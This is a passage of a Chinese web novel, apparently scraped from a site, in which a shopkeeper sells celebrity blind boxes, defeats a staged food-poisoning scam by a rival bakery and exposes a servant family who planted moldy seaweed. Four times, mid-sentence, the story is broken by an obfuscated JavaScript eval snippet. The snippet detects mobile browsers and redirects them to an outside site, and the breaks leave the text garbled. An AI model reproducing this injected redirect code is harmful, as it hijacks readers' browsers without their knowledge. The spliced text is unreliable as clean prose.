今晚唱的是《蟠桃会》，讲的是王母设蟠桃宴，邀请八仙前来祝寿。八仙在渡海时，韩湘子被金鱼仙子抓住。八仙向天宫求助，天宫派下天兵天将救出韩湘子并斩杀金鱼仙子。最后众仙再蟠桃会上为王母贺寿的故事。 好安不论过去还是现在，都没听过戏，纯粹是为了陪好昕和谢宗林来了。 一开始只觉得咿咿呀呀的烦躁无聊，等何仙姑出场时，四周传来轻呼声。 她知道了，大明星李淑文出场了！ 好安对戏剧不感兴趣但对大明星感兴趣。她目光盯着何仙姑，想看看大明星何等风姿。 结果看着看着就入迷了。 金鱼仙子抓走韩湘子的时候好安也跟着紧张了一下。然后八仙和金鱼仙子的打斗、威武正义的二郎神和金鱼仙子的对战都精彩绝伦，看得好安激情澎湃。之后蟠桃会上众仙贺寿的场面也布置的富丽堂皇，让人大饱眼福。 随着最后一声锣鼓余音的消散，临淮楼内一片寂静。众人像是从一场梦里苏醒，坐在楼里久久不愿离去。 知道临淮楼的小厮来催，好安才起身离开。 谢宗林拿着没吃几口的花生瓜子跟在好安和两个孩子身后，护着前面的三人。 “咿呀——咿呀呀——”好安有些上头，边走边哼明显是还沉浸在戏里。 但也没沉浸多久。因为一踏出临淮楼，楼里楼外好像是两个世界。 “客官要看看吗？李淑文日常画像两百五十文！” “我的便宜，牡丹仙子绝美画像二百文一副！” “牡丹仙子同款发簪一百文，买一送一！” “李淑文最新印花披帛只要三百八十文。” “王母同款仙桃！” 这些商贩的嗓子比大喇叭还想，穿透力比唢呐还强。再沉迷其中的人也能一把把她拉回现实。 就那发簪，小摊子上二三十文一个，还有披帛，质量堪忧…… 好安正吐槽这么贵谁会买时，好昕晃了晃她的手。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15348861|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐姐我可以和荀睿哥去看看吗？” 荀睿和好昕正两眼亮晶晶的看着好安。 “？” 自家的好像会买。 吐槽归吐槽，但她不会阻止别人去买。 “去吧，别走远。” 好昕和荀睿得令欢欢喜喜的朝摊子上跑去。 “这利润，真让人心动！”好安看着他们的背影说道：“我要是能吃上这碗饭就好了。” 她要是不开铺子，跟着李淑文的行程跑，一年下来百两应该不成问题。 “能吃。”沉默许久的谢宗林忽然说道。 “怎么吃？”好安没想到好法子：“让李淑文来我们店里吃？” 谢宗林：“不用他来，我们送给他吃。” “有道理。”好安深思道：“他来店里我们还要增加人手，送给他吃的话省事。还最好让他全大晏巡演的时候同时巡吃！” “那现在第一步是见到李淑文。”谢宗林看向好安。 二人对视一眼，异口同声道：“林教授！” 这次活动的主办林家就是林教授家。 好安和谢宗林正商量着下一步计划时，买完东西的两个孩子回来了。 好昕买了一把二郎神的缩小版三叉戟。荀睿则是买了一把李淑文日常同款折扇。 “走吧。”好安迫不及待的回到家要写策划书。 点心有保质期，不能陪李淑文走道天涯海角，但有一个东西可以——模型。 不准确说是手办！ 好记的点心在全大晏绝对是创新级别的。再加上李淑文带货肯定能引发关注。 可纯纯的模型好像有些寡淡。 好安想起前世有好几个朋友特别爱抽盲盒。 她还看过几片分析报告，说： 人天生对未知的事物充满好奇。 未知带来的惊喜感和期待感。感能够激发大脑分泌多巴胺，带来愉悦感。 而盲盒正好满足了这种心理需求。 除此以外，盲盒通常以系列的形式推出，款式不同。这些也能大大的刺激消费者的购买欲望。 尤其遇到“限量款”或者“隐藏款”时，谁能忍住不剁手呢。 收齐了谁能不“炫耀”一把呢。 她记得的小时候班里集卡第一个集齐的人那叫一个威风。 如果把李淑文和点心结合在一起，做成盲盒，然后买点心达到一定时金额时可以免费抽，或者直接花钱买抽的机会，一定大爆。 “好安姐，我可以去买本书吗？”经过一家书肆时，荀睿忽然说道。 好安：“行啊。” 真是爱学习的好孩子。 荀睿付完钱出来时，好安才发现他买的是话本子。 好安：“你这么光明正大的拿回家不怕被你娘发现？” 荀睿：“不怕，我娘和其他娘不一样，她也爱看！” 母子两共同爱好挺好。 好安看着荀睿怀里的话本子，忽然问道：“最火的话本子是哪个？” “这个。”荀睿指着最多的一沓说道。 “好安姐也想看吗？” 好安：“对。” 荀睿又指了几本：“这些也很火，有几本文笔特别好，常看常新火了好多年。” 懂，经典款。 好安通通拿下，书粉也是不容小觑的群体。 广撒网多钓鱼才会发大财。 71. 海苔 夏天，虽然高温，但人们还是喜欢出门逛街。除了午后客流量少些，其他时候好记一桌难求。 尤其好记推出盲盒后，消费满一八十八文，就可以免费抽一次。 但免费的盲盒只是单纯的甜品挂件盲盒，要想抽李淑文或者时下最流行的《才子撬佳人》的盲盒或者小卡是要额外付钱的。 就算这样，他们的盲盒和小卡也卖得最快。 果然，从古至今粉丝的力量深不可测。 好安今天刚摆出十套李淑文花旦造型的吃点心的泥塑盲盒便被一抽而空。 有位神秘的富婆大粉，更是直接丢下十两银子，成套端走。看得排队抽盲盒的人两眼发红。 好安也两眼发红。 十两听着不多，尤其她最近话本子看多了，动不动就千两黄金锭，万两雪花银。 十两银子似乎都不配出现。但现实里十两就是一笔巨款，够一户普通人家一年的嚼用。 冲着这位大粉氪金的劲，好安准备再给李淑文上一套陶瓷做的盲盒。 她开心，我赚钱，两全其美。 大粉阔绰，小粉丝也十分重要。他们消费了百分之九十的盲盒和小卡，虽然销售额可能没百分之九十，但他们创造了百分之九十的话题度。 好记的四个角落都镇着冰块，比不少普通人家都凉快。 姐妹三两相约，来好记点一份甜品和饮子，再抽一两个盲盒，美滋滋度过一个愉快的下午。 “许愿，不要抽到重复的。” 虔诚“信女”在打开盲盒前双手合十，闭眼祷告。 “啊，这个我有了！” “怎么又是它！” “我要去佛祖前抽，顺便让大师帮我开个光。我就不信抽不到隐藏款！” 这种场景不止上演一次，天天都有。看得好安都恨不得在店里摆个佛像收香火钱，房租赚不出来，但每天的柴火钱肯定够。 业务也不能太杂，好安理性的收了这个小心思。 好记不仅是盲盒一手市场，有时候还是二手市场。 有的人抽到重复的，幸运的话当场就能用重复的换一个自己没有的，有时候还能交到志同道合的朋友。 好安注意到有个人与众不同，他专门收那些重复的盲盒。低价买，高价出。从刚开始他只点最便宜的点心，到现在一杯加冰奶茶一份抹茶千层，可以看出，很赚。 好记每天门庭若市，好安每晚数钱数到手抽筋，有人看不过去了。 老铺的东家自家铺子也不呆了，成天的坐在好记对面的铺子里，双眼阴沉的盯着好记。 “她家又出了什么新品？”老铺的东家一口闷下杯子里的浓茶。 他已经连续几天失眠，眼里满是红血丝。 “李淑文的花旦造型盲盒。”老铺的店小二卑躬屈膝地答道。 说完，又补充了一句：“这次是泥塑的。” “啪——” 响亮的一耳光引的周围人纷纷侧头。 老铺的东家浑然不觉，“我问得是这个吗？” 店小二脸都不敢捂，连跪带爬地再去打探。 一个时辰后，好记的新品摆在老铺东家面前。 “这叫什么？” 店小二小心翼翼的答道：“海苔肉松小贝。” “海苔、肉松、小贝？取的什么烂名！”老铺东家用筷子拨弄两下，这条条絮絮的什么玩意，道：“乡下来的就是只知道吃没一点文化。” 老铺东家丢了筷子，一脸嫌弃道：“你回去吧，去把李师傅喊来。” 李师傅是老铺资历最深的一个，也是上次琢磨蛋黄酱的那位。 店小二应下后，连忙离开，同时深深地舒了一口气。 这祖宗他可不想伺候了。 ———— 隔几日，申时，正是找是好记生意最好的时候。 一个头发花白的老婆婆颤颤巍巍地朝好记走来。刚走到门口时便“嘭”一下坐在地上，大声伸吟道：“啊呀——我肚子好疼啊——” 所有人纷纷放下手头动作，探头看去。 很快老婆婆周围行成一圈真空袋。 好安也急忙放下手中的活计，快步走了过去。 “老婆婆怎么了？” “我，我上午在这买了一块海苔肉松小贝，刚吃完肚子就好痛。肯定是你的东西有问题！” 好安一听，有个不好的猜想。她迅速给谢宗林旁边的小二使了个眼色，但脸上还是镇静模样，说道：“老婆婆，您先别急。我给您倒杯热水，我们慢慢说。” 说着，好安要扶老婆婆起来。 谢宗林身边的小二一听，便以为好安之前是让他倒热水，正要转身却被谢宗林拦住，低声耳语了几句。 小二撒腿便往外跑，而谢宗林则去后面到了被热茶。 “我不喝，谁知道你家水干不干净。”老婆婆胳膊肘一拐，把水打翻，捂着肚子继续哼唧道：“我肚子好疼啊，你们好记害人呀！” 周围的客人开始窃窃私语，投来怀疑的目光。 好安：不能慌。 “我先给您请个大夫吧。您身体最重要。”好安说道。 老婆婆明显一愣，她没料到好安会这么说，不应该先狡辩吗？ “对啊，一把年纪了先找个大夫看一下吧。”周围有人说道。 “我，我不去。”老婆婆索性捂着肚子躺在地上。 掏钱的人说了，不论如何不能离开好记，一定要在好记闹。 看来不是讹钱的，是来毁名声的。 “那请大夫上门。” 好安连忙差人去平陵最出名的医馆请大夫，继而转身对周围人道：“好记开业以来一直遵纪守法，诚信为本，从未有过半点马虎。这位婆婆年纪大了，肠胃本就容易有问题，喝口冷水或者吃得急些都会有些小打小闹……” 话还未说完，老婆婆一下直起身子，指着好安中气十足道：“瞎讲，我身体好得很。就是你家那什么海苔肉贝有问题！” “额——您现在身体看着确实挺好的。”好安阴阳怪气道。 “你！” 总不能咒自己身体不好吧。老婆婆再次躺会回地上胡乱翻滚道：“好记吃的不干净害人啊！好记吃的不干净害人啊！” 周围开始议论纷纷，有人觉得这个老婆婆不正常，有人觉得这个老婆婆好可怜。后者占多数。 这时候决不能让老婆婆的话左右众人的思想，她必须拿出吸引眼球的证据。 于是，好安从柜台拿出一个账本，翻到这个月的采购，道：“我们所有的粮油米面都是从平陵最大的粮铺刘家采购的。而且我们的厨房是半透明，很多东西都是在大伙眼皮子底下制作。好记开业也好几个月，每天都有很多人来买，从来没有出现这样的事情。” “确实都是从刘家买的。”周围人看了看账本有些动摇。 “刘家可是粮油大户，我们家也从他家买。” 老婆婆竖着耳朵，她只是针对好记，不想把刘家扯进来。 “不是粮油米面的问题，是海苔的问题！”老婆婆回想着别人教她的话：“海苔就是紫菜做的，她用发霉的紫菜做点心，人吃了就会肚子痛！” 知道海苔是紫菜做的还挺专业。 好安皱了皱，她好像猜到是谁指示的了。 一天到晚追着好记屁股后面研究的除了老铺点心，全平陵找不出第二家。 好安：“不可能，我们的紫菜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15355766|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” “有本事你让大伙去厨房瞧瞧！”老婆婆抢话道。 原来在这等着她呢。 好安扫了一圈，没见着谢宗林的身形，于是转身看向老婆婆道：“可以，不过看了厨房证明我的食材都很新鲜干净怎么办？” “不可能！”老婆婆中气十足道。 “哦？您怎么这么肯定？”好安拖延时间道：“您现在肚子不疼了吗？” 老婆婆反应过来，连忙捂着肚子，道：“我疼，哎呦——” 可这一声明显有点假。 好安“好心”提醒道：“手放高了，肚子在下面。” 老婆婆果然上当，低头看了看自己的手。 这一低头，立刻引发众人关注，谁家肚子疼能捂错位置？ 周围人开始对老婆婆指指点点。 好安笑了笑道：“好记问心无愧，自然可以带大家去厨房，可这么多人，厨房装不下，不如由大家选几个人跟我一起去看看？” “选我，我在他家买过好几次了，我要去看看。” “谁不是呢，我还是她家黄金会员呢。” “选我，我家就是卖水里的。我懂行。” …… 等好安看见谢宗林的身影，谢宗林微微朝她点了个头，才清了清嗓子压下嘈杂，道：“我们已经报官了，不如到时候让官爷来搜，我们在旁边看着行不行。” “行。”众人纷纷表示赞同。 “这点小事你怎么报官了呢！”老婆婆急道。 好安认真道：“怎么是小事，这可关系着您和大家的身体健康。一定要引起重视。要是紫菜有什么问题，我们好记绝不推脱，负责到底！” “对！做生意就是要有这个态度。” “这样才让人放心。” 明明问题还没解决，但众人的口碑一下倒向好记。 大夫和衙役同时到了。 衙役问清情况后，说道：“这位婆婆一直说肚子疼，要不大夫您先给她看看。” 大夫的诊断也是大人断案证据之一。 “对！”好安点头道。 “这把年纪了赶紧瞧瞧。”有人附和道。 老婆婆缩着手不肯向前。她根本没吃过好记，肚子也不疼。一把脉不就露馅了。 她抬头看了看四周，发现大伙都是期待的目光。 “快看看啊。”有些坚持相信老婆婆的人催促道。 “伸手。”衙役不耐烦道。 老婆婆一咬牙，把就把，她说疼就是疼！再说掏钱人说过厨房已经安排了。 “没什么问题。”大夫收起脉布说道。 老婆婆：“我就是疼！” “你这个年纪少吃一点荤腥。” 老婆婆：“庸医！” 好安笑了笑，说道：“我这有一副药，可以把肠胃里的东西都排空。让我们看看你都吃了些什么，老婆婆您要不要试试？” 老婆婆扭过身去不说话了。 “去厨房。”一个衙役说道。 好安：“请。” 一直折腾到酉时，厨房里也没搜出什么发霉的东西。反而大伙只看到了好记厨房干净整洁。对好记赞不绝口。 “没有证据，你这种行为属于讹诈。讹诈轻则罚款重则杖杀。你知道吗？” 老婆婆一听慌了神，她只是想赚点钱，不是想朝里贴钱贴命。于是趁着衙役没注意，连忙跑了。 好安其实也不想上公堂，毕竟算不上什么好事便也没拦。 给衙役和大夫一些跑腿钱，这件事明面上就算翻篇了。 私底下可没，因为谢宗林确确实实在后厨翻出一包发了霉紫菜。 摊子不大，居然出了家贼！ 72. 长鱼面 正常的紫菜是深绿色或者深紫色，面有光泽，散发淡淡的海水咸味和海藻的清香。 而眼前这块，色泽暗淡，表面还有大块灰绿色的霉菌斑。 要是这个被翻到，好记必然名声扫地。 现在没有监控设备，只能靠观察铺子里的情况。 但好安每晚都会亲自检查厨房，十分确定这包紫菜昨晚没有。 那只能是今天有人趁别人不注意的时候放进去的。除了早上大伙拿点心的时候好安一直在厨房看着，其他时间她还真没留心谁去过。 “陈阿大你先上来，其他人不许相互交流。”好安站在楼梯口扫了一眼铺子里的人，希望能通过逐个对质发现问题。谢宗林则站在楼下防止他们交头接耳。 谁几点来的，在干什么？几点进厨房的，有谁看见？ 所有时间节点通通记录下来。 半个时辰后盘问完，好安拿着册子下楼，一边观察他们的神情，一边说道：“谁指示你们做的我已经知道了，雁过留影，风过留声。你们当中有人不是这个说不清就是那个说不清。甚至说的东西自相矛盾，破绽百出！” 好安没干过警侦，其实没问出太多东西。但这不影响她“恐吓”一下。 她顿了顿，紧盯着每个人的微表情，继续道：“大家都知道，今天来的闹事的那个老婆婆偷偷溜走了。当时我就站在她旁边，完全可以抓住她送去衙门，但是我没有。” 说着，好安冷冷的笑了一声，道：“因为我给了她一个机会。她告诉我是谁指示她这么干的，再由谁把发了霉的紫菜放进厨房。” 好安也不是什么都没问出来。有两个人嫌疑最大。一个记不清时间，语焉不详，一个有段时间不在铺子里。 “现在我也给你一个机会。你有一晚上的时间思考。如果知错能改，主动向我坦白，我便既往不咎。但不主动承认的，那就别怪我不客气了。” 说完，好安阴着脸，挥了挥手，让大伙回去了。 好昕晚上回来听说了这件事，关心问道：“那这个人就是不承认怎么办？” “那就把嫌疑最大的两个人都开了。”好安揉着脑袋，说道。 她今天折腾了一下午，不想再在这件事上耗神了。 要不是想到后面招人要从头教起，她都想以防万一全开了。 “我明天去趟老铺点心吧。”谢宗林忽然说道。 好安不解，从躺椅上直起身，问道：“你去那干嘛？” “如果明天还是没人主动承认，你一下开了两个，受牵连的那个肯定心怀怨恨，万一到处说好记坏话也麻烦。”谢宗林认真道：“不如我明天去趟老铺点心。我记得他家有个小二经常来好记买点心。有一次他脸上还挂个巴掌印。估计是老铺的掌柜或者东家打的。我看能不能从他身后下手，问出一些线索。” “也行。那这个事就交给你了。”说完，好安脑袋蔫蔫地垂在肩膀上，起身回屋了。 “姐姐，你不吃晚饭了吗？” “不饿——”好安有气无力道。 “姐姐不总是说人是铁饭是钢，一顿不吃饿得慌嘛。怎么能不吃饭呢。” “你先吃，你姐姐饿了自然会找吃的。” 桌上只剩下两人，吃完后好昕端着盆把碗洗干净，谢宗林把用掉的柴火补上，二人便都回屋。 往日热闹的小院难得安静了一晚。 好安回屋也没睡觉，四叉八仰的躺在床上看话本。 今天这话本不一般。好安过去没少看网文，不仅杂食，而且荤素不忌。 但这话本的脑洞还是让她震惊到了。 讲的是男主烂情，惨遭多任情人抛弃，最终风流快活客死他乡寺庙。 如果在这完结就是普通的艳俗话本。可作者不同凡响，他还继续写！ 男主临死之际走马一生，发现唯有一人身影在脑海中久久不散，便用灵魂向神佛祈求。 神佛理理红线，发现他和挚爱孽缘未了便许他托梦。挚爱和男主分手后也发现自己对他恋恋不忘。梦中得知男主结局后悲痛不已，不远万里去为男主收尸，让其魂归故里。 最后！挚爱结婚生子，男主转世投胎成他儿子，两人再续前缘，有情人终成…… 这话本有好多个故事，这篇只是其一。 循规蹈矩的不值一提，炸裂致此的必须逐字分析。 本就是文言文的调调，好安看着破费脑力，越看越饿，最后实在饿得两眼泛花才不舍得放下话本去厨房觅食。 晚饭还在锅里用余烬温着，但菜已经有点烂了。 好安找了一块干净的布，正准备隔布端出来时，身后忽然飘来一句话。 “饿了？” 好安吓得一个哆嗦，转头一看原来是谢宗林。 “你走路怎么没声音。”好安捂着胸口说道。 谢宗林：“我下次有声音。” 好安回头，试图挽留已经撒了一半的菜。 “我来吧。”谢宗林直接用手把菜端了出来，道：“这个都闷烂了，我给你重做一份。” “好像没多余的菜了。”好安说道。 “有。”谢宗林拖出门后的水桶，道：“这个吃吗？” 好安好奇看去，桶里是四五条手指粗的长鱼。 “笔杆青。你什么时候买的！” 这个季节的长鱼经过春季的觅食，圆润丰满，是一年中最肥美的时候。 “今早买菜看见有人卖，就买了几条。想怎么吃？” “长鱼面。”说着，好安还咽了咽口水。 “算了，直接抄吧，面还要揉。” “有面。”谢宗林掀起另一口锅，里面不多不少正好一人的份量。 “你什么时候揉的！”好安两眼放光。 “饭后。” 说着，谢宗林点火烧水。 做长鱼面最重要的是长鱼浇头。 第一步就是要去长鱼外表的黏液。 长鱼的黏液中有腥味，去掉可以是长鱼更加鲜美，口感也更加紧实顺滑。 热水烧开，加葱、姜、蒜、料酒，然后将用纱布装好的长鱼放入锅中迅速盖上。等长鱼不动嘴巴张开，便可出热水、过冷水。 熟了的长鱼用竹刀便能划动，三刀便可骨归骨、肉归肉、血归血。 第一刀从肚皮划开，去内脏和血。脊背再划两道，骨肉分离。 如果是开饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15360176|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 店做给客人吃，浇头只用长鱼脊背上的肉。就是从黄鳝头部到尾部的中间部位，也是肉质最为鲜嫩的部位。 但自己吃就没这么多讲究，长鱼肉她都爱。 长鱼肉还需再过水断生，等再次出锅后用香油、盐、酱、醋、糖、淀粉和胡椒粉兑水勾酱汁。 如果有鸡汤可以用鸡汤兑，这样味道更加鲜美。 但胡椒粉是万万要有的。 到了这一步后面就快了。 猪油下锅、大蒜爆香，下长鱼，暴力翻炒。然后加入勾兑好的酱汁。 等长鱼均匀挂汁，迅速倒入刚煮好面上。那金黄油亮的鱼肉香伴随阵阵蒜香直冲鼻腔。 “好香。”好安搓了搓筷子。 琥珀色的长鱼肉边缘微卷，覆盖在手擀面上。垂落的酱汁滴在浅浅的汤面上行程一个个棕色的油花。 好安连忙拌了拌，迫不及待的夹了一筷子塞入口中。 鱼肉柔软不失弹性，面条宽厚劲道，本就饥肠辘辘的好安一吃一个不吱声，根本没时间张嘴，只顾得上对谢宗林连连点头表示认可。 “慢点吃。”谢宗林担心好安噎着，抬手给他到杯被热茶。 好安一直连吃三大口，才把肚子里的馋虫安抚下去。 “你怎么这么厉害，一教就会。” 好安以前没有自己动手做过，她可不敢碰滑溜溜的活长鱼。教给谢宗林的时候也是根据以前看视频的记忆来的。 “你更厉害，知道这么多好吃的。”谢宗林温柔的看着好安，觉得眼前人什么都好，连刨饭的样子都生动可爱。 好安吸溜完最后一根面条，满足的打了个饱嗝。抬眸，无意间看见谢宗林还未收敛的眼神，顿时脸色涨红。 幸亏夜色不明，烛火昏黄。好安捧着脸，用手遮住泛红的双颊，努力转移话题道：“他们回去后你有发现什么吗？” “陈阿大没直接回家，去了趟生平巷。” 碗壁上的油花还没干，谢宗林抹了一把草木灰，用布擦拭干净。 “生平巷里有谁？”好安问道。 谢宗林一边把碗过清水，一边说道：“老铺点心的掌柜和……” 不等谢宗林说完，碳水上头的好安武断道：“那就是他。” “陈阿大的岳丈也住那里。” “那也是他。”好安打了个哈欠：“有人看见他今天一个人去了趟厨房，他还不承认。” “谁说看见他进厨房了？”谢宗林反问道。 好安愣住，一下反应过。 六个人，只有一个人看见他进厨房了。说看见他进厨房的那个人也很可疑啊！ “张叔说的。”好安看了一眼柴房，压低声音道。 张叔一家是她来平陵后买的人。平日里他们一家三口勤劳肯干，张叔儿子还认识几个字。 “卖身契还在我手里，他们应该不敢吧。” 卖主求荣的人，是完全可以打杀的。 岳丈和老铺掌柜是邻居，陈阿大确实是个完美的背锅侠。 可自由身都没有的人图啥呢？ “不一定呢，我明天再去探探。”谢宗林灭掉灶膛里的火，道：“夜深了，先回去睡吧。” 73. 制糖 第二日，谢宗林一人悄悄去了趟老铺点心。 那店小二一开始还心存戒备，见谢宗林掏出几块碎银眼睛顿时直了，态度一百八十度大转弯，有问必答。 谢宗林：“你家掌柜最近可见了什么人。” “哎，你问掌柜没用，他就一记账的，老铺点心的事都是东家拍板。他前几天见了一个人，应该就是你们铺子里的。” 店小二快言快语，甚至流露出几分热情。 “是谁，还记得具体时间吗？”谢宗林连忙问道。 “大概是三天前，老铺要关门的时候，我正好准备回去，无意间瞅见的。但人我就不认识了，只是在好记见过这个人。”店小二往前凑了凑，问道：“你们好记工钱多少？” “身高、样貌还记得吗？” 后半句，谢宗林全当没听见。 “没你高，但比我高。” 这句话毫无信息含量。 铺子里谁都没他高，铺子里谁都没店小二矮。 “其他嘛……”店小二挠了挠头，回忆道：“干瘦，方脸，手上有颗痣。你们找到他是不是要把他辞掉？” 这三个点谢宗林已经知道是谁了，每一条都精准命中张叔。 于是，他把碎银塞给老铺的店小二便准备离开。 “等下，看在咱俩有这交情的份上，你们好记招工的时候告诉我一声呗。”店小二抓着谢宗林的衣服，忍不住诉苦道：“那老铺东家脑子不正常，天天发病。我这个月底契书到期就不在这干了。 你既然能来打听这些事，就说明好记东家很看中你啊。到时候好记招工你照顾一下兄弟呗！ 兄弟也不亏待你，回头告诉你一个大事，保证让你在东家那长脸！” 谢宗林的手已经握在对方的手腕上，原本正要向下用力，听见店小二的话后立刻变为向上，拍了拍兄弟的手，改口叹气道：“我们东家这几天气着了，我也不敢多问呀。不如你把这件事告诉我，然后我回去借着这件事，定能为你说上几句好话，如何？” 店小二面露犹豫，谢宗林再接再厉道：“我看你这个人讲义气，有担当，我最喜欢和这样的人打交道。” 说着，谢宗林一边搂着店小二，一边掏出一块碎银，道：“我自己还攒了一点碎银。走兄弟咱们喝酒去！” 店小二看见银子眼睛又闪了闪，他可是偷溜出来的，哪有时间去喝酒。 而且两人喝酒还得对半分，哪有一人喝来着爽快。 他眼珠一转，想到：就算今天他不说，说不定过几天好记东家一样也能知道，不如今天买个好，还能落点银子。 他瞄了眼四周，见四下无人，便拉着谢宗林到拐角，低声说道：“我们东家的妹妹可是平陵糖大户的爱妾，最近还怀了，糖大户找了好几个大夫看过了，确定是男胎！” “平陵城里姓唐的大户多了去了？他们在我心中远不如兄弟的一根头发，不重要。”谢宗林笑道。 “你个傻子，这个''糖''可不仅是因为他姓唐。”店小二黑豆似的眼睛随时观察着周围的情况，道：“更因为他有糖，咱平陵城里所有的糖都要过他的账本！” 谢宗林眼色微变，又听店小二继续道：“今早东家让我们准备了好多礼盒，中午就送过去了。现在是趁着他们没来得及通知下面各个铺子，你们好记赶紧多买点糖屯着！” “平陵城这么大，糖怎么可能一家独大？”谢宗林不信。 “怎么不可能，糖里的弯弯绕绕多着呢。咱平陵所有的糖坊不论大小都是他的，就算新……”话说一半，忽然有人探头来喊他。 “不信你自己查去，我要是说假话喝水都烂嘴丫子！” 说完，店小二迅速夺过谢宗林手里的碎银，头也不回的跑了。 谢宗林回去一五一十的把事情说了。 禁糖？ 离谱，但管用。 谁家点心铺子能不用糖呢。 张叔的事情都被衬托的不那么严重了，已经知道是谁了，还在眼皮子底下，先放放。 姓唐。 好安想起，她平日买糖的铺子门口确实挂了一个唐字。 这些事她一个外来人还真不清楚。 “去看看。” 好安脱下围裙，随便去了一家卖糖的铺子。 不得不说，大户人家效率就是高。 好安这张脸像是已经被科普过，她一连去了几家，家家看到她都挥手不卖。 “动作还真快。”好安气鼓鼓的回到铺子里，想砸了老铺的心都有。 “我们可以让其他人帮忙买。”谢宗林安慰道。 好安摇摇头：“临时这样可以，但终归不是长久之计。” “要不从万和县买吧，一天时间不算远。” “不行。万和县的糖本来就比平陵城贵。再加上车马费，成本就上去了。如果我们涨价，无缘无故的涨价顾客是不会接受的，甚至会流失一部分顾客。不涨价的话利润就少了。都不是长久之计。” 好安拧眉半晌，忽然想到了什么，连忙拿来纸笔，一边写信，一边说道：“糖的问题还是要用糖来解决，有些事可以交给好家村的人做。” 好安写了两封信。 一封写给去了的北方的田桂。 今年四月，田桂听说北边发现一种能长三四百斤的猪，便麻溜北上了。她写信给田桂希望她能留意一种叫甜菜，像萝卜一样埋在地里的植物。 一封写给村长。 问他愿不愿意带着村民搏一回。 第一封静候佳音，第二份应该很快就有来信。好安估计这件事自己要亲自回去一趟，可在此之前还是要把张叔这个隐患除了。 她都给了这么长时间，还在那狗戴帽子装好人呢。 一直憋到晚上吃饭。 好安坐在院子里，谢宗林站在身后，张叔一家三口，两大夹一小的跪在地上。 “张叔，一晚上都没想好？”好安看着他们仨的卖身契问道。 “小的不知道东家说什么？”张叔扬起与往日分毫不差的笑容，憨厚、质朴。 不知情的人保准一骗一个准。 “这个月十三号傍晚，你去哪了？”好安身体前倾，胳膊肘抵着膝盖。 话音一落，张叔脸上的笑容僵住，瞳孔微缩，身体随即抖了起来。 同时开始抖的还有旁边两人。 呵，看来这两货也知道，全家合谋啊。 “东家你听我解释！”一低一抬间，张叔眼睛已经红了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15367129|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“不听。”好安果断道。 你让我听我就听，谁才是主子啊。 无非是些被逼被利用的废话，还不如屁话能听个响。 “三个都绑起来。”好安随手拿着扇子有一搭没一搭的拍着手心。 这声音落在张叔一家耳朵里就是要杖杀呀。 “不，你不能杀我们。”张叔挣脱绳子，搂着身边的儿子，说道：“你没证据证明我们卖主求荣，想杖杀至少去趟府衙。” “是没证据。”好安点头肯定道。但好安原本也没打算给他们安这罪名。 “你们这么想去衙门是不是因为有人已经给你们打通关系了？” 张叔不说话了。 “这个碗好看吗？”好安随手拿起一个碗递给张婶。 张婶不知道好安到底想干什么，捧着碗哆嗦道：“好看。” 好安用眼神点了点旁边的小张。小张“懂事”地接过碗，也道：“好看。” “还有一位呢，你觉得这个碗好看吗？”好安声音柔柔的，但听在他们耳朵里确实毛毛的。 “好看。”张叔捧着碗，看也不看地说道。 忽然，站在他们身后的好安猛地抬脚一踹，张叔没吃住力，整个人趴向前，碗也一下碎了。 “看见这个碗了吗？”好安冷笑道：“这么好看，我好喜欢。你怎么把它打碎了呢？你说蓄意打坏主家财物，这个该怎么判呢？” “我没有。”张叔连忙缩着手，摇头道：“府衙不会判，不会判。” “府衙？关府衙什么事？”好安直起腰身，道：“我又不是平陵府城人，你们卖身契上也不是平陵府的印，平陵府管不着。” “我们现在在平陵府啊？”张叔不解道 好安：“今天在不代表明天也在。” 张叔一听彻底愣住了，这个角度是他没想过的。对方跟他保证的前提都是在府衙断案的前提下，这下可怎么办？ “我会烤面包！” 张叔这么说有点半求饶，半威胁的意思。 他有手艺，他有价值！ 好安要是不像把秘方外传就得留着他。 “好，我知道，到时候你有得是机会烤。”好安拍了拍张叔肩膀说道。 